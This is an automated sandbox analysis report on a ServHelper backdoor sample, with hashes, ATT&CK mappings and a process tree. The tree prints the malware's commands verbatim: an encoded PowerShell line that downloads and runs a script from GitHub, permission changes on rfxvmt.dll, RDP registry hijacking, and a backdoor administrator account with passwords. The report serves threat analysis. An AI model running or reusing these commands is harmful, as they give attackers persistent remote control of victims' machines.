servhelper | 3e841431aaa53eb3cfa6f167b3a46bca0eb16d22e6fd1d06944414b78cc512d8

Analysis

max time kernel
149s
max time network
179s
platform
windows7_x64
resource
win7v20210408
submitted
27-06-2021 19:33

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General

Target

SecuriteInfo.com.W32.AIDetect.malware1.29246.21787.exe
Size

5.8MB
MD5

7bd36bd38e2d59e7cd840ebb5d753ed7
SHA1

c625e4a67c8ed11da8d2f39151d80ece4a6c1c70
SHA256

3e841431aaa53eb3cfa6f167b3a46bca0eb16d22e6fd1d06944414b78cc512d8
SHA512

9a91148a38030fab0d99ab15e3113fa8f188379b9d6618942e41e1028d6c0dc19be4e8c8f3bc1faa40a7946eb4b38202f74ef6cac59df7739e8c15783bf924ae

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 1 IoCs

flow	pid	Process
11	812	powershell.exe

Executes dropped EXE 3 IoCs

pid	Process
1072	Svelta.exe.com
1144	Svelta.exe.com
1068	Svelta.exe.com

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
960	icacls.exe
1752	icacls.exe
964	takeown.exe
1072	icacls.exe
268	icacls.exe
2016	icacls.exe
1848	icacls.exe
556	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00040000000130dc-203.dat	upx
behavioral1/files/0x00050000000130dd-204.dat	upx

Loads dropped DLL 5 IoCs

pid	Process
1456	cmd.exe
1072	Svelta.exe.com
1144	Svelta.exe.com
1084	Process not Found
1084	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
556	icacls.exe
960	icacls.exe
1752	icacls.exe
964	takeown.exe
1072	icacls.exe
268	icacls.exe
2016	icacls.exe
1848	icacls.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1144 set thread context of 1068	1144	Svelta.exe.com	36

Drops file in Windows directory 21 IoCs

description	ioc	Process
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4165ef60-1af1-4884-88c7-9e4265f56f4e	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_21cc0af8-96b2-4073-ab07-7220a6d6fe7c	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_d83df19b-37a6-42d2-83aa-d9cabf141ce3	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_765bfbad-ea98-4430-8011-70b7edf964a1	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1da9a9ec-deec-4803-9902-6c4e6ff413fe	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_49fa14c5-86bc-441b-a9ed-b1e6b18eb4a7	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e16f4041-5658-4125-8424-37026600dc89	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\BJ86N3HRXMKC8MPEUSFR.temp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4be88398-39d9-48d0-9233-9980369b2958	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b583a601-a536-4551-a0b2-207ba2254409	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a9ee3ea7-2571-4f56-84ec-29efbd96fc59	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_154e8aa3-31aa-4b38-af87-8861a0b8643f	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = f02b60ef9c6bd701	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1204	reg.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1748	PING.EXE

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
292	powershell.exe
292	powershell.exe
956	powershell.exe
956	powershell.exe
1984	powershell.exe
1984	powershell.exe
1548	powershell.exe
1548	powershell.exe
292	powershell.exe
292	powershell.exe
292	powershell.exe
812	powershell.exe
812	powershell.exe

Suspicious behavior: LoadsDriver 3 IoCs

pid	Process
460	Process not Found
1084	Process not Found
1084	Process not Found

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	292	powershell.exe
Token: SeDebugPrivilege	956	powershell.exe
Token: SeDebugPrivilege	1984	powershell.exe
Token: SeDebugPrivilege	1548	powershell.exe
Token: SeRestorePrivilege	268	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1304	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1304	WMIC.exe
Token: SeAuditPrivilege	1304	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1304	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1304	WMIC.exe
Token: SeAuditPrivilege	1304	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1724	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1724	WMIC.exe
Token: SeAuditPrivilege	1724	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1724	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1724	WMIC.exe
Token: SeAuditPrivilege	1724	WMIC.exe
Token: SeDebugPrivilege	812	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1980 wrote to memory of 580	1980	SecuriteInfo.com.W32.AIDetect.malware1.29246.21787.exe	29
PID 1980 wrote to memory of 580	1980	SecuriteInfo.com.W32.AIDetect.malware1.29246.21787.exe	29
PID 1980 wrote to memory of 580	1980	SecuriteInfo.com.W32.AIDetect.malware1.29246.21787.exe	29
PID 1980 wrote to memory of 580	1980	SecuriteInfo.com.W32.AIDetect.malware1.29246.21787.exe	29
PID 580 wrote to memory of 1456	580	cmd.exe	31
PID 580 wrote to memory of 1456	580	cmd.exe	31
PID 580 wrote to memory of 1456	580	cmd.exe	31
PID 580 wrote to memory of 1456	580	cmd.exe	31
PID 1456 wrote to memory of 984	1456	cmd.exe	32
PID 1456 wrote to memory of 984	1456	cmd.exe	32
PID 1456 wrote to memory of 984	1456	cmd.exe	32
PID 1456 wrote to memory of 984	1456	cmd.exe	32
PID 1456 wrote to memory of 1072	1456	cmd.exe	33
PID 1456 wrote to memory of 1072	1456	cmd.exe	33
PID 1456 wrote to memory of 1072	1456	cmd.exe	33
PID 1456 wrote to memory of 1072	1456	cmd.exe	33
PID 1456 wrote to memory of 1748	1456	cmd.exe	34
PID 1456 wrote to memory of 1748	1456	cmd.exe	34
PID 1456 wrote to memory of 1748	1456	cmd.exe	34
PID 1456 wrote to memory of 1748	1456	cmd.exe	34
PID 1072 wrote to memory of 1144	1072	Svelta.exe.com	35
PID 1072 wrote to memory of 1144	1072	Svelta.exe.com	35
PID 1072 wrote to memory of 1144	1072	Svelta.exe.com	35
PID 1144 wrote to memory of 1068	1144	Svelta.exe.com	36
PID 1144 wrote to memory of 1068	1144	Svelta.exe.com	36
PID 1144 wrote to memory of 1068	1144	Svelta.exe.com	36
PID 1144 wrote to memory of 1068	1144	Svelta.exe.com	36
PID 1144 wrote to memory of 1068	1144	Svelta.exe.com	36
PID 1068 wrote to memory of 292	1068	Svelta.exe.com	37
PID 1068 wrote to memory of 292	1068	Svelta.exe.com	37
PID 1068 wrote to memory of 292	1068	Svelta.exe.com	37
PID 292 wrote to memory of 1384	292	powershell.exe	39
PID 292 wrote to memory of 1384	292	powershell.exe	39
PID 292 wrote to memory of 1384	292	powershell.exe	39
PID 1384 wrote to memory of 904	1384	csc.exe	40
PID 1384 wrote to memory of 904	1384	csc.exe	40
PID 1384 wrote to memory of 904	1384	csc.exe	40
PID 292 wrote to memory of 956	292	powershell.exe	41
PID 292 wrote to memory of 956	292	powershell.exe	41
PID 292 wrote to memory of 956	292	powershell.exe	41
PID 292 wrote to memory of 1984	292	powershell.exe	43
PID 292 wrote to memory of 1984	292	powershell.exe	43
PID 292 wrote to memory of 1984	292	powershell.exe	43
PID 292 wrote to memory of 1548	292	powershell.exe	45
PID 292 wrote to memory of 1548	292	powershell.exe	45
PID 292 wrote to memory of 1548	292	powershell.exe	45
PID 292 wrote to memory of 964	292	powershell.exe	48
PID 292 wrote to memory of 964	292	powershell.exe	48
PID 292 wrote to memory of 964	292	powershell.exe	48
PID 292 wrote to memory of 1072	292	powershell.exe	49
PID 292 wrote to memory of 1072	292	powershell.exe	49
PID 292 wrote to memory of 1072	292	powershell.exe	49
PID 292 wrote to memory of 268	292	powershell.exe	50
PID 292 wrote to memory of 268	292	powershell.exe	50
PID 292 wrote to memory of 268	292	powershell.exe	50
PID 292 wrote to memory of 2016	292	powershell.exe	51
PID 292 wrote to memory of 2016	292	powershell.exe	51
PID 292 wrote to memory of 2016	292	powershell.exe	51
PID 292 wrote to memory of 1848	292	powershell.exe	52
PID 292 wrote to memory of 1848	292	powershell.exe	52
PID 292 wrote to memory of 1848	292	powershell.exe	52
PID 292 wrote to memory of 556	292	powershell.exe	53
PID 292 wrote to memory of 556	292	powershell.exe	53
PID 292 wrote to memory of 556	292	powershell.exe	53

C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.W32.AIDetect.malware1.29246.21787.exe
"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.W32.AIDetect.malware1.29246.21787.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1980
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cmd < Capace.tiff
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:580
- - C:\Windows\SysWOW64\cmd.exe
    cmd
    3⤵
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:1456
  - - C:\Windows\SysWOW64\findstr.exe
      findstr /V /R "^VVQakpNKMLUfqoLVVhmjKCivrTyOgozXYJsboinGHQXJWaqRDprwktizOzfarZcDsWdsQhNOPTFUEbAKThltyaMTBYIORuCHxxsZeIwdvfjamhPsTFmPPdbZlbPSFYWIsXmlyAIljUI$" Sai.tiff
      4⤵
      PID:984
  - - C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Svelta.exe.com
      Svelta.exe.com S
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:1072
    - - C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Svelta.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Svelta.exe.com S
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:1144
      - C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Svelta.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Svelta.exe.com
        6⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:1068
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
        7⤵
        Drops file in System32 directory
        Drops file in Windows directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:292
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zalvo5jd\zalvo5jd.cmdline"
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:1384
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8D9F.tmp" "c:\Users\Admin\AppData\Local\Temp\zalvo5jd\CSC16A626F5364C4CD899E923A41653F5E5.TMP"
        9⤵
        
        PID:904
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
        8⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:956
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
        8⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1984
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
        8⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1548
        
        C:\Windows\system32\takeown.exe
        
        "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:964
        
        C:\Windows\system32\icacls.exe
        
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1072
        
        C:\Windows\system32\icacls.exe
        
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        Suspicious use of AdjustPrivilegeToken
        
        PID:268
        
        C:\Windows\system32\icacls.exe
        
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:2016
        
        C:\Windows\system32\icacls.exe
        
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1848
        
        C:\Windows\system32\icacls.exe
        
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:556
        
        C:\Windows\system32\icacls.exe
        
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:960
        
        C:\Windows\system32\icacls.exe
        
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1752
        
        C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
        8⤵
        
        PID:1504
        
        C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
        8⤵
        Modifies registry key
        
        PID:1204
        
        C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
        8⤵
        
        PID:1804
        
        C:\Windows\system32\net.exe
        
        "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        8⤵
        
        PID:796
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        9⤵
        
        PID:1132
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
        8⤵
        
        PID:660
        
        C:\Windows\system32\cmd.exe
        
        cmd /c net start rdpdr
        9⤵
        
        PID:1520
        
        C:\Windows\system32\net.exe
        
        net start rdpdr
        10⤵
        
        PID:1164
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        11⤵
        
        PID:1984
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
        8⤵
        
        PID:752
        
        C:\Windows\system32\cmd.exe
        
        cmd /c net start TermService
        9⤵
        
        PID:1888
        
        C:\Windows\system32\net.exe
        
        net start TermService
        10⤵
        
        PID:1532
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        11⤵
        
        PID:564
  - - C:\Windows\SysWOW64\PING.EXE
      ping 127.0.0.1 -n 30
      4⤵
      Runs ping.exe
      PID:1748

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Ghar4f5 /del
1⤵
PID:1832
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Ghar4f5 /del
  2⤵
  PID:1548
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
    3⤵
    PID:308

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Qg6HgsHV /add
1⤵
PID:1564
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Qg6HgsHV /add
  2⤵
  PID:1052
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Qg6HgsHV /add
    3⤵
    PID:268

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
1⤵
PID:1880
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
  2⤵
  PID:1080
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
    3⤵
    PID:960

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
1⤵
PID:1512
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
  2⤵
  PID:864
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
    3⤵
    PID:824

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
1⤵
PID:1248
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" wgautilacc /ADD
  2⤵
  PID:1948
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
    3⤵
    PID:1780

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Qg6HgsHV
1⤵
PID:1612
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Qg6HgsHV
  2⤵
  PID:776
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Qg6HgsHV
    3⤵
    PID:1832

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:816
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1304

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1848
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1724

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1296
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:1060
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:812

C:\Windows\System32\cmd.exe
cmd.exe /C net user wgautilacc 1234
1⤵
PID:1612
- C:\Windows\system32\net.exe
  net user wgautilacc 1234
  2⤵
  PID:556
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 1234
    3⤵
    PID:1300

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/292-91-0x000000001AA10000-0x000000001AA11000-memory.dmp

Filesize
4KB

Download
memory/292-109-0x000000001B500000-0x000000001B501000-memory.dmp

Filesize
4KB

Download
memory/292-105-0x0000000002630000-0x0000000002631000-memory.dmp

Filesize
4KB

Download
memory/292-92-0x0000000002580000-0x0000000002581000-memory.dmp

Filesize
4KB

Download
memory/292-180-0x000000001C710000-0x000000001C711000-memory.dmp

Filesize
4KB

Download
memory/292-107-0x000000001B480000-0x000000001B481000-memory.dmp

Filesize
4KB

Download
memory/292-108-0x000000001C380000-0x000000001C381000-memory.dmp

Filesize
4KB

Download
memory/292-93-0x0000000002440000-0x0000000002441000-memory.dmp

Filesize
4KB

Download
memory/292-90-0x0000000002400000-0x0000000002401000-memory.dmp

Filesize
4KB

Download
memory/292-94-0x000000001A990000-0x000000001A992000-memory.dmp

Filesize
8KB

Download
memory/292-97-0x000000001C2B0000-0x000000001C2B1000-memory.dmp

Filesize
4KB

Download
memory/292-124-0x000000001A99A000-0x000000001A9B9000-memory.dmp

Filesize
124KB

Download
memory/292-95-0x000000001A994000-0x000000001A996000-memory.dmp

Filesize
8KB

Download
memory/812-227-0x00000000194FA000-0x0000000019519000-memory.dmp

Filesize
124KB

Download
memory/812-226-0x00000000194F4000-0x00000000194F6000-memory.dmp

Filesize
8KB

Download
memory/812-225-0x00000000194F0000-0x00000000194F2000-memory.dmp

Filesize
8KB

Download
memory/956-118-0x0000000002490000-0x0000000002491000-memory.dmp

Filesize
4KB

Download
memory/956-122-0x000000001B490000-0x000000001B491000-memory.dmp

Filesize
4KB

Download
memory/956-143-0x000000001BC00000-0x000000001BC01000-memory.dmp

Filesize
4KB

Download
memory/956-142-0x000000001BBF0000-0x000000001BBF1000-memory.dmp

Filesize
4KB

Download
memory/956-129-0x000000001B9D0000-0x000000001B9D1000-memory.dmp

Filesize
4KB

Download
memory/956-123-0x0000000002330000-0x0000000002331000-memory.dmp

Filesize
4KB

Download
memory/956-116-0x000000001AB60000-0x000000001AB62000-memory.dmp

Filesize
8KB

Download
memory/956-120-0x000000001B710000-0x000000001B711000-memory.dmp

Filesize
4KB

Download
memory/956-117-0x000000001AB64000-0x000000001AB66000-memory.dmp

Filesize
8KB

Download
memory/1068-83-0x0000000000600000-0x0000000000ADB000-memory.dmp

Filesize
4.9MB

Download
memory/1068-84-0x0000000028E22000-0x0000000028E24000-memory.dmp

Filesize
8KB

Download
memory/1068-86-0x0000000028E26000-0x0000000028E27000-memory.dmp

Filesize
4KB

Download
memory/1068-81-0x0000000042420000-0x00000000426CA000-memory.dmp

Filesize
2.7MB

Download
memory/1068-87-0x0000000028E27000-0x0000000028E28000-memory.dmp

Filesize
4KB

Download
memory/1068-79-0x0000000000600000-0x0000000000ADB000-memory.dmp

Filesize
4.9MB

Download
memory/1068-85-0x0000000028E24000-0x0000000028E26000-memory.dmp

Filesize
8KB

Download
memory/1072-69-0x000007FEFC051000-0x000007FEFC053000-memory.dmp

Filesize
8KB

Download
memory/1144-78-0x0000000000100000-0x0000000000101000-memory.dmp

Filesize
4KB

Download
memory/1548-173-0x000000001ABE4000-0x000000001ABE6000-memory.dmp

Filesize
8KB

Download
memory/1548-172-0x000000001ABE0000-0x000000001ABE2000-memory.dmp

Filesize
8KB

Download
memory/1980-59-0x00000000767B1000-0x00000000767B3000-memory.dmp

Filesize
8KB

Download
memory/1984-156-0x00000000025E0000-0x00000000025E1000-memory.dmp

Filesize
4KB

Download
memory/1984-154-0x000000001ABD0000-0x000000001ABD1000-memory.dmp

Filesize
4KB

Download
memory/1984-152-0x0000000002480000-0x0000000002481000-memory.dmp

Filesize
4KB

Download
memory/1984-150-0x000000001AC94000-0x000000001AC96000-memory.dmp

Filesize
8KB

Download
memory/1984-149-0x000000001AC90000-0x000000001AC92000-memory.dmp

Filesize
8KB

Download
memory/1984-157-0x0000000001EB0000-0x0000000001EB1000-memory.dmp

Filesize
4KB

Download